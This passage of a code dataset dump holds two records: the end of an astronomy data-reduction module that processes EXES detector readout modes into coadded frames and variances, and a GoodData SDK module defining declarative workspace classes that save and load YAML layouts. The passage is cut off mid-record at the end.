coadd_data[i] = zeroval - lindata[i] / gainfac\n        else:\n            pattern_start = i * nframes  # 1st frame\n            pattern_end = pattern_start + nframes  # last frame\n            pattern_data = lindata[pattern_start:pattern_end]\n            pedestal = pattern_data[0]\n            signal = pattern_data[pattern_end - pattern_start - 1]\n            coadd_data[i] = zeroval - ((signal - pedestal) / gainfac)\n\n        variance[i] = ((np.abs(coadd_data[i]) / vgainfac)\n                       * (1 - (frametime * (nread ** 2 - 1))\n                          / (3 * interval * nread))\n                       + 2 * (readnoise ** 2) / ((vgainfac ** 2) * nread))\n\n    header['NFRAME'] = nread\n    header['BEAMTIME'] = interval\n    return coadd_data, variance\n\n\ndef _process_nondestructive2(lindata, header, readmode):\n    if readmode['nondest'] + readmode['dest'] < 4:\n        raise ValueError('OTPAT is not suitable for '\n                         'Second/Penultimate ND mode')\n\n    log.info(\"Second/Penultimate ND mode\")\n    frametime = float(header['FRAMETIM'])\n    nread = (readmode['nondest'] - 1) // 2\n\n    interval = (readmode['nondest'] + readmode['spin'] - 2) * frametime\n    log.info(f'Interval = {interval}')\n\n    gain = float(header['PAGAIN'])\n    gainfac = gain * interval\n    vgainfac = float(header['EPERADU']) * interval\n    readnoise = float(header['READNOIS'])\n    darkval = float(header['DARKVAL'])\n    zeroval = darkval / (frametime * gain)\n    nframes = readmode['nframes']\n\n    shape = readmode['npattern'], lindata.shape[1], lindata.shape[2]\n    coadd_data = np.empty(shape, dtype=float)\n    variance = np.empty(shape, dtype=float)\n\n    for i in range(shape[0]):\n        if readmode['coadd'] == 1:  # pragma: no cover\n            # (this OTPAT was never used for EXES)\n            coadd_data[i] = zeroval - lindata[i] / gainfac\n        else:\n            pattern_start = i * nframes + 1  # 2nd frame\n            pattern_end = pattern_start + nframes - 2  # penultimate frame\n            pattern_data = lindata[pattern_start:pattern_end]\n            pedestal = pattern_data[0]\n\n            signal = pattern_data[pattern_end - pattern_start - 1]\n            coadd_data[i] = zeroval - ((signal - pedestal) / gainfac)\n\n            variance[i] = ((np.abs(coadd_data[i]) / vgainfac)\n                           * (1 - (frametime * (nread ** 2 - 1))\n                              / (3 * interval * nread))\n                           + 2 * (readnoise ** 2) / ((vgainfac ** 2) * nread))\n\n    header['NFRAME'] = nread\n    header['BEAMTIME'] = interval\n    return coadd_data, variance\n\n\ndef _process_fowler(lindata, header, readmode):\n    log.info(\"Fowler mode\")\n    frametime = float(header['FRAMETIM'])\n    gain = float(header['PAGAIN'])\n    eperadu = float(header['EPERADU'])\n    readnoise = float(header['READNOIS'])\n    darkval = float(header['DARKVAL'])\n    zeroval = darkval / (frametime * gain)\n\n    nread = (readmode['nondest'] + readmode['dest']) // 2\n    interval = (readmode['npass'] - nread) * frametime\n    gainfac = interval * gain\n    vgainfac = interval * eperadu\n    log.info(f'Interval = {interval}')\n\n    shape = readmode['npattern'], lindata.shape[1], lindata.shape[2]\n    coadd_data = np.empty(shape, dtype=float)\n    variance = np.empty(shape, dtype=float)\n\n    for i in range(shape[0]):\n        if readmode['coadd'] == 1:  # pragma: no cover\n            # The Fowler coadd/subtraction should have been done in hardware\n            # (this OTPAT was never used for EXES)\n            coadd_data[i] = zeroval - lindata[i] / gainfac\n        else:\n            pattern_start = i * readmode['nframes']\n            pattern_end = pattern_start + readmode['nframes']\n            pattern_data = lindata[pattern_start:pattern_end]\n\n            if nread > 1:\n                # Add initial reads for pedestal level\n                pedestal = bn.nansum(pattern_data[:nread], axis=0)\n                # Add final reads for signal level\n                signal = bn.nansum(\n                    pattern_data[nread:readmode['nframes']], axis=0)\n            else:\n                pedestal = pattern_data[0]\n                signal = pattern_data[1]\n            coadd_data[i] = zeroval - ((signal - pedestal) / (nread * gainfac))\n\n        variance[i] = ((np.abs(coadd_data[i]) / vgainfac)\n                       * (1 - (frametime * (nread ** 2 - 1))\n                          / (3 * interval * nread))\n                       + 2 * (readnoise ** 2) / ((vgainfac ** 2) * nread))\n\n    header['NFRAME'] = nread\n    header['BEAMTIME'] = interval\n    return coadd_data, variance\n\n\ndef _process_sample_up_the_ramp(data, header, readmode):\n    if readmode['nondest'] + readmode['dest'] < 3:\n        raise ValueError('OTPAT is not suitable for '\n                         'Second/Penultimate ND mode')\n\n    log.info(\"Sample-up-the-ramp mode\")\n    frametime = float(header['FRAMETIM'])\n    gain = float(header['PAGAIN'])\n    eperadu = float(header['EPERADU'])\n    darkval = float(header['DARKVAL'])\n    zeroval = darkval / (frametime * gain)\n    readnoise = float(header['READNOIS'])\n\n    nread = readmode['nframes']\n    interval = (readmode['npass'] - 1) * frametime\n    alpha = nread * (nread + 1) // 12\n    gainfac = interval * gain\n    vgainfac = interval * eperadu\n    log.info(f'Interval = {interval}')\n\n    shape = readmode['npattern'], data.shape[1], data.shape[2]\n    coadd_data = np.empty(shape, dtype=float)\n    variance = np.empty(shape, dtype=float)\n\n    for i in range(readmode['npattern']):\n        if readmode['coadd'] == 1:  # pragma: no cover\n            # The SUTR fit should have been done in hardware\n            # (this OTPAT was never used for EXES)\n            coadd_data[i] = zeroval - (data[i] / gainfac)\n        else:\n            nframes = readmode['nframes']\n            pattern_start = i * nframes\n            pattern_end = pattern_start + nframes\n            pattern_data = data[pattern_start:pattern_end]\n\n            fac = ((np.arange(nread) + 1) - ((nread + 1) / 2)) / alpha\n            s = bn.nansum(pattern_data[:nread] * fac[:, None, None], axis=0)\n            coadd_data[i] = zeroval - (s / gainfac)\n\n        variance[i] = (6 * np.abs(coadd_data[i]) * ((nread ** 2) + 1))\n        variance[i] /= (5 * vgainfac * nread * (nread + 1))\n        variance[i] += ((12 * (readnoise ** 2) * (nread - 1))\n                        / ((vgainfac ** 2) * nread * (nread + 1)))\n\n    header['NFRAME'] = nread\n    header['BEAMTIME'] = interval\n    return coadd_data, variance\n\n\ndef _combine_nods(coadd_data, variance, header, readmode, toss_nint, copy_int):\n    # Check for multiple frames at the same nod position\n    nint = int(header['NINT'])\n    if nint <= 1:\n        return coadd_data, variance\n\n    npatt = readmode['npattern']\n    nout = npatt // nint\n\n    itot = header['BEAMTIME'] * nint * nout\n    header['INTTIME'] = itot\n    if 'OFF_SLIT' in str(header.get('INSTMODE', 'UNKNOWN')).upper():\n        header['EXPTIME'] = itot / 2.\n    else:\n        header['EXPTIME'] = itot\n    header['NEXP'] = nint * nout\n\n    log.info(f\"Combining {nint} frames per nod position\")\n    if npatt < nint:\n        raise ValueError(f\"Data does not match NINT={nint}\")\n    elif npatt % nint != 0:\n        log.warning(f\"Data does not match NINT={nint}; \"\n                    f\"ignoring extra frames.\")\n\n    shape = nout, coadd_data.shape[1], coadd_data.shape[2]\n    mcoadd = np.empty(shape, dtype=float)\n    mvar = np.empty(shape, dtype=float)\n    nodn = header.get('NODN', 1)\n    for i in range(nout):\n        if i == 0:\n            if toss_nint > 0:\n                if toss_nint < nint and (not copy_int or nodn < 2):\n                    log.info(f'Dropping the first {toss_nint} frames')\n                    start = toss_nint\n                else:\n                    if toss_nint <= nint and nodn >= 2:\n                        # allow copying the sky data from the next nod\n                        # if available\n                        log.warning('Copying the first '\n                                    'integration(s) from the next B nod')\n                        cstart = 2 * nint\n                        cstop = 2 * nint + nint\n                        coadd_data[0:nint] = coadd_data[cstart:cstop]\n                        variance[0:nint] = variance[cstart:cstop]\n                    else:\n                        # otherwise, just ignore the toss for this file\n                        log.warning('TOSS_NINT is set higher than '\n                                    'NINT; ignoring.')\n\n                    # in either case, use all frames\n                    start = 0\n            else:\n                start = 0\n        else:\n            start = i * nint\n        stop = i * nint + nint\n        ncomb = stop - start\n        mcoadd[i] = bn.nansum(coadd_data[start:stop], axis=0) / ncomb\n        mvar[i] = bn.nansum(variance[start:stop], axis=0) / (ncomb ** 2)\n\n    return mcoadd, mvar\n", "repo_name": "SOFIA-USRA/sofia_redux", "sub_path": "sofia_redux/instruments/exes/readraw.py", "file_name": "readraw.py", "file_ext": "py", "file_size_in_byte": 21238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "astropy.log.info", "line_number": 101, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 101, "usage_type": "name"}, {"api_name": "sofia_redux.instruments.exes.lincor.lincor", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 104, "usage_type": "call"}, {"api_name": "astropy.log.info", "line_number": 106, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 106, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 109, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 109, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 110, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 110, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 111, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 138, "usage_type": "call"}, {"api_name": "sofia_redux.instruments.exes.get_badpix.get_badpix", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 207, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 216, "usage_type": "call"}, {"api_name": "astropy.log.warning", "line_number": 247, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 247, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 260, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 260, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 261, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 261, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 262, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 262, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 263, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 263, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 264, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 264, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 282, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 282, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 286, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 286, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 296, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 297, "usage_type": "call"}, {"api_name": "sofia_redux.instruments.exes.utils.get_reset_dark", "line_number": 299, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 311, "usage_type": "call"}, {"api_name": "astropy.log.info", "line_number": 323, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 323, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 330, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 330, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 356, "usage_type": "call"}, {"api_name": "astropy.log.info", "line_number": 371, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 371, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 376, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 376, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 387, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 403, "usage_type": "call"}, {"api_name": "astropy.log.info", "line_number": 414, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 414, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 426, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 426, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 429, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 430, "usage_type": "call"}, {"api_name": "bottleneck.nansum", "line_number": 444, "usage_type": "call"}, {"api_name": "bottleneck.nansum", "line_number": 446, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 453, "usage_type": "call"}, {"api_name": "astropy.log.info", "line_number": 468, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 468, "usage_type": "name"}, {"api_name": "astropy.log.info", "line_number": 481, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 481, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 484, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 485, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 498, "usage_type": "call"}, {"api_name": "bottleneck.nansum", "line_number": 499, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 502, "usage_type": "call"}, {"api_name": "astropy.log.info", "line_number": 529, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 529, "usage_type": "name"}, {"api_name": "astropy.log.warning", "line_number": 533, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 533, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 537, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 538, "usage_type": "call"}, {"api_name": "astropy.log.info", "line_number": 544, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 544, "usage_type": "name"}, {"api_name": "astropy.log.warning", "line_number": 550, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 550, "usage_type": "name"}, {"api_name": "astropy.log.warning", "line_number": 558, "usage_type": "call"}, {"api_name": "astropy.log", "line_number": 558, "usage_type": "name"}, {"api_name": "bottleneck.nansum", "line_number": 569, "usage_type": "call"}, {"api_name": "bottleneck.nansum", "line_number": 570, "usage_type": "call"}]}
{"seq_id": "20438003108", "text": "# (C) 2022 GoodData Corporation\nfrom __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import Any, List, Optional, Type\n\nimport attr\n\nfrom gooddata_metadata_client.model.declarative_workspace import DeclarativeWorkspace\nfrom gooddata_metadata_client.model.declarative_workspace_data_filter import DeclarativeWorkspaceDataFilter\nfrom gooddata_metadata_client.model.declarative_workspace_data_filter_setting import (\n    DeclarativeWorkspaceDataFilterSetting,\n)\nfrom gooddata_metadata_client.model.declarative_workspace_data_filters import DeclarativeWorkspaceDataFilters\nfrom gooddata_metadata_client.model.declarative_workspace_model import DeclarativeWorkspaceModel\nfrom gooddata_metadata_client.model.declarative_workspaces import DeclarativeWorkspaces\nfrom gooddata_sdk.catalog.base import Base\nfrom gooddata_sdk.catalog.identifier import CatalogWorkspaceIdentifier\nfrom gooddata_sdk.catalog.permissions.permission import (\n    CatalogDeclarativeSingleWorkspacePermission,\n    CatalogDeclarativeWorkspaceHierarchyPermission,\n)\nfrom gooddata_sdk.catalog.workspace.declarative_model.workspace.analytics_model.analytics_model import (\n    CatalogDeclarativeAnalyticsLayer,\n)\nfrom gooddata_sdk.catalog.workspace.declarative_model.workspace.logical_model.ldm import CatalogDeclarativeLdm\nfrom gooddata_sdk.utils import create_directory, get_sorted_yaml_files, read_layout_from_file, write_layout_to_file\n\nLAYOUT_WORKSPACES_DIR = \"workspaces\"\nLAYOUT_WORKSPACES_DATA_FILTERS_DIR = \"workspaces_data_filters\"\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass CatalogDeclarativeWorkspaceModel(Base):\n    ldm: Optional[CatalogDeclarativeLdm] = None\n    analytics: Optional[CatalogDeclarativeAnalyticsLayer] = None\n\n    @staticmethod\n    def client_class() -> Type[DeclarativeWorkspaceModel]:\n        return DeclarativeWorkspaceModel\n\n    def store_to_disk(self, workspace_folder: Path) -> None:\n        if self.ldm is not None:\n            self.ldm.store_to_disk(workspace_folder)\n        if self.analytics is not None:\n            self.analytics.store_to_disk(workspace_folder)\n\n    @classmethod\n    def load_from_disk(cls, workspace_folder: Path) -> CatalogDeclarativeWorkspaceModel:\n        ldm = CatalogDeclarativeLdm.load_from_disk(workspace_folder)\n        analytics = CatalogDeclarativeAnalyticsLayer.load_from_disk(workspace_folder)\n        return cls(ldm=ldm, analytics=analytics)\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass CatalogDeclarativeWorkspace(Base):\n    id: str\n    name: str\n    compute_client: Optional[str] = None\n    model: Optional[CatalogDeclarativeWorkspaceModel] = None\n    parent: Optional[CatalogWorkspaceIdentifier] = None\n    permissions: List[CatalogDeclarativeSingleWorkspacePermission] = []\n    hierarchy_permissions: List[CatalogDeclarativeWorkspaceHierarchyPermission] = []\n\n    @staticmethod\n    def client_class() -> Type[DeclarativeWorkspace]:\n        return DeclarativeWorkspace\n\n    def to_api(self, include_nested_structures: bool = True) -> DeclarativeWorkspace:\n        client_class = self.client_class()\n        dictionary = self._get_snake_dict()\n        if self.model is not None and not include_nested_structures:\n            del dictionary[\"model\"]\n        return client_class.from_dict(dictionary, camel_case=False)\n\n    def store_to_disk(self, workspaces_folder: Path) -> None:\n        workspace_folder = workspaces_folder / self.id\n        file_path = workspace_folder / f\"{self.id}.yaml\"\n        create_directory(workspace_folder)\n\n        workspace_dict = self.to_api(include_nested_structures=False).to_dict(camel_case=True)\n        write_layout_to_file(file_path, workspace_dict)\n\n        if self.model is not None:\n            self.model.store_to_disk(workspace_folder)\n\n    @classmethod\n    def load_from_disk(cls, workspaces_folder: Path, workspace_id: str) -> CatalogDeclarativeWorkspace:\n        workspace_folder = workspaces_folder / workspace_id\n        workspace_file_path = workspace_folder / f\"{workspace_id}.yaml\"\n        model = CatalogDeclarativeWorkspaceModel.load_from_disk(workspace_folder)\n        workspace_layout_data = read_layout_from_file(workspace_file_path)\n        workspace_layout = CatalogDeclarativeWorkspace.from_dict(workspace_layout_data, camel_case=True)\n        workspace_layout.model = model\n        return workspace_layout\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass CatalogDeclarativeWorkspaceDataFilterSetting(Base):\n    id: str\n    title: str\n    filter_values: List[str]\n    workspace: CatalogWorkspaceIdentifier\n    description: Optional[str] = None\n\n    @staticmethod\n    def client_class() -> Type[DeclarativeWorkspaceDataFilterSetting]:\n        return DeclarativeWorkspaceDataFilterSetting\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass CatalogDeclarativeWorkspaceDataFilters(Base):\n    workspace_data_filters: List[CatalogDeclarativeWorkspaceDataFilter]\n\n    @staticmethod\n    def client_class() -> Type[DeclarativeWorkspaceDataFilters]:\n        return DeclarativeWorkspaceDataFilters\n\n    def store_to_disk(self, layout_organization_folder: Path) -> None:\n        for workspace_data_filter in self.workspace_data_filters:\n            workspace_data_filter.store_to_disk(\n                CatalogDeclarativeWorkspaces.workspace_data_filters_folder(layout_organization_folder)\n            )\n\n    @classmethod\n    def load_from_disk(cls, layout_organization_folder: Path) -> CatalogDeclarativeWorkspaceDataFilters:\n        workspace_data_filters_files = get_sorted_yaml_files(\n            CatalogDeclarativeWorkspaces.workspace_data_filters_folder(layout_organization_folder)\n        )\n        workspace_data_filters = []\n        for workspace_data_filters_file in workspace_data_filters_files:\n            workspace_data_filters.append(\n                CatalogDeclarativeWorkspaceDataFilter.load_from_disk(workspace_data_filters_file)\n            )\n        return cls(workspace_data_filters=workspace_data_filters)\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass CatalogDeclarativeWorkspaceDataFilter(Base):\n    id: str\n    title: str\n    column_name: str\n    workspace_data_filter_settings: List[CatalogDeclarativeWorkspaceDataFilterSetting]\n    description: Optional[str] = None\n    workspace: Optional[CatalogWorkspaceIdentifier] = None\n\n    @staticmethod\n    def client_class() -> Type[DeclarativeWorkspaceDataFilter]:\n        return DeclarativeWorkspaceDataFilter\n\n    def store_to_disk(self, workspaces_data_filters_folder: Path) -> None:\n        workspaces_data_filter_file = workspaces_data_filters_folder / f\"{self.id}.yaml\"\n        write_layout_to_file(workspaces_data_filter_file, self.to_api().to_dict(camel_case=True))\n\n    @classmethod\n    def load_from_disk(cls, workspaces_data_filter_file: Path) -> CatalogDeclarativeWorkspaceDataFilter:\n        workspaces_data_filter = read_layout_from_file(workspaces_data_filter_file)\n        return CatalogDeclarativeWorkspaceDataFilter.from_dict(workspaces_data_filter, camel_case=True)\n\n    @classmethod\n    def from_dict(cls, data: dict[str, Any], camel_case: bool = True) -> CatalogDeclarativeWorkspaceDataFilter:\n        \"\"\"\n        :param data:    Data loaded for example from the file.\n        :param camel_case:  True if the variable names in the input\n                        data are serialized names as specified in the OpenAPI document.\n                        False if the variables names in the input data are python\n                        variable names in PEP-8 snake case.\n        :return:    CatalogDeclarativeWorkspaceDataFilter object.\n        \"\"\"\n        declarative_workspace_data_filter = DeclarativeWorkspaceDataFilter.from_dict(data, camel_case)\n        return cls.from_api(declarative_workspace_data_filter)\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass CatalogDeclarativeWorkspaces(Base):\n    workspaces: List[CatalogDeclarativeWorkspace]\n    workspace_data_filters: List[CatalogDeclarativeWorkspaceDataFilter]\n\n    @staticmethod\n    def client_class() -> Type[DeclarativeWorkspaces]:\n        return DeclarativeWorkspaces\n\n    @staticmethod\n    def workspaces_folder(layout_organization_folder: Path) -> Path:\n        return layout_organization_folder / LAYOUT_WORKSPACES_DIR\n\n    @staticmethod\n    def workspace_data_filters_folder(layout_organization_folder: Path) -> Path:\n        return layout_organization_folder / LAYOUT_WORKSPACES_DATA_FILTERS_DIR\n\n    def store_to_disk(self, layout_organization_folder: Path) -> None:\n        workspaces_folder = self.workspaces_folder(layout_organization_folder)\n        workspaces_data_filters_folder = self.workspace_data_filters_folder(layout_organization_folder)\n        create_directory(workspaces_folder)\n        create_directory(workspaces_data_filters_folder)\n        for workspace in self.workspaces:\n            workspace.store_to_disk(workspaces_folder)\n        for workspace_data_filter in self.workspace_data_filters:\n            workspace_data_filter.store_to_disk(workspaces_data_filters_folder)\n\n    @classmethod\n    def load_from_disk(cls, layout_organization_folder: Path) -> CatalogDeclarativeWorkspaces:\n        workspaces_folder = cls.workspaces_folder(layout_organization_folder)\n        workspace_data_filters_folder = cls.workspace_data_filters_folder(layout_organization_folder)\n        workspace_ids = sorted([p.stem for p in workspaces_folder.iterdir() if p.is_dir()])\n        workspace_data_filters_files = get_sorted_yaml_files(workspace_data_filters_folder)\n\n        workspaces = [\n            CatalogDeclarativeWorkspace.load_from_disk(workspaces_folder, workspace_id)\n            for workspace_id in workspace_ids\n        ]\n        workspace_data_filters = [\n            CatalogDeclarativeWorkspaceDataFilter.load_from_disk(workspace_data_filters_file)\n            for workspace_data_filters_file in workspace_data_filters_files\n        ]\n        return cls(workspaces=workspaces, workspace_data_filters=workspace_data_filters)\n", "repo_name": "lupko/gooddata-python-sdk", "sub_path": "gooddata-sdk/gooddata_sdk/catalog/workspace/declarative_model/workspace/workspace.py", "file_name": "workspace.py", "file_ext": "py", "file_size_in_byte": 9909, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gooddata_sdk.catalog.base.Base", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 35, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.workspace.declarative_model.workspace.logical_model.ldm.CatalogDeclarativeLdm", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 36, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.workspace.declarative_model.workspace.analytics_model.analytics_model.CatalogDeclarativeAnalyticsLayer", "line_number": 36, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_model.DeclarativeWorkspaceModel", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 39, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_model.DeclarativeWorkspaceModel", "line_number": 39, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 42, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 49, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.workspace.declarative_model.workspace.logical_model.ldm.CatalogDeclarativeLdm.load_from_disk", "line_number": 50, "usage_type": "call"}, {"api_name": "gooddata_sdk.catalog.workspace.declarative_model.workspace.logical_model.ldm.CatalogDeclarativeLdm", "line_number": 50, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.workspace.declarative_model.workspace.analytics_model.analytics_model.CatalogDeclarativeAnalyticsLayer.load_from_disk", "line_number": 51, "usage_type": "call"}, {"api_name": "gooddata_sdk.catalog.workspace.declarative_model.workspace.analytics_model.analytics_model.CatalogDeclarativeAnalyticsLayer", "line_number": 51, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 33, "usage_type": "call"}, {"api_name": "gooddata_sdk.catalog.base.Base", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 59, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.identifier.CatalogWorkspaceIdentifier", "line_number": 61, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 62, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.permissions.permission.CatalogDeclarativeSingleWorkspacePermission", "line_number": 62, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 63, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.permissions.permission.CatalogDeclarativeWorkspaceHierarchyPermission", "line_number": 63, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace.DeclarativeWorkspace", "line_number": 67, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 66, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace.DeclarativeWorkspace", "line_number": 66, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace.DeclarativeWorkspace", "line_number": 69, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 76, "usage_type": "name"}, {"api_name": "gooddata_sdk.utils.create_directory", "line_number": 79, "usage_type": "call"}, {"api_name": "gooddata_sdk.utils.write_layout_to_file", "line_number": 82, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 88, "usage_type": "name"}, {"api_name": "gooddata_sdk.utils.read_layout_from_file", "line_number": 92, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 55, "usage_type": "call"}, {"api_name": "gooddata_sdk.catalog.base.Base", "line_number": 99, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 102, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.identifier.CatalogWorkspaceIdentifier", "line_number": 103, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 104, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filter_setting.DeclarativeWorkspaceDataFilterSetting", "line_number": 108, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 107, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filter_setting.DeclarativeWorkspaceDataFilterSetting", "line_number": 107, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 98, "usage_type": "call"}, {"api_name": "gooddata_sdk.catalog.base.Base", "line_number": 112, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 113, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filters.DeclarativeWorkspaceDataFilters", "line_number": 117, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 116, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filters.DeclarativeWorkspaceDataFilters", "line_number": 116, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 119, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 126, "usage_type": "name"}, {"api_name": "gooddata_sdk.utils.get_sorted_yaml_files", "line_number": 127, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 111, "usage_type": "call"}, {"api_name": "gooddata_sdk.catalog.base.Base", "line_number": 139, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 143, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 144, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 145, "usage_type": "name"}, {"api_name": "gooddata_sdk.catalog.identifier.CatalogWorkspaceIdentifier", "line_number": 145, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filter.DeclarativeWorkspaceDataFilter", "line_number": 149, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 148, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filter.DeclarativeWorkspaceDataFilter", "line_number": 148, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 151, "usage_type": "name"}, {"api_name": "gooddata_sdk.utils.write_layout_to_file", "line_number": 153, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 156, "usage_type": "name"}, {"api_name": "gooddata_sdk.utils.read_layout_from_file", "line_number": 157, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 161, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filter.DeclarativeWorkspaceDataFilter.from_dict", "line_number": 170, "usage_type": "call"}, {"api_name": "gooddata_metadata_client.model.declarative_workspace_data_filter.DeclarativeWorkspaceDataFilter", "line_number": 170, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 138, "usage_type": "call"}, {"api_name": "gooddata_sdk.catalog.base.Base", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 176, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 177, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspaces.DeclarativeWorkspaces", "line_number": 181, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 180, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.model.declarative_workspaces.DeclarativeWorkspaces", "line_number": 180, "usage_type": 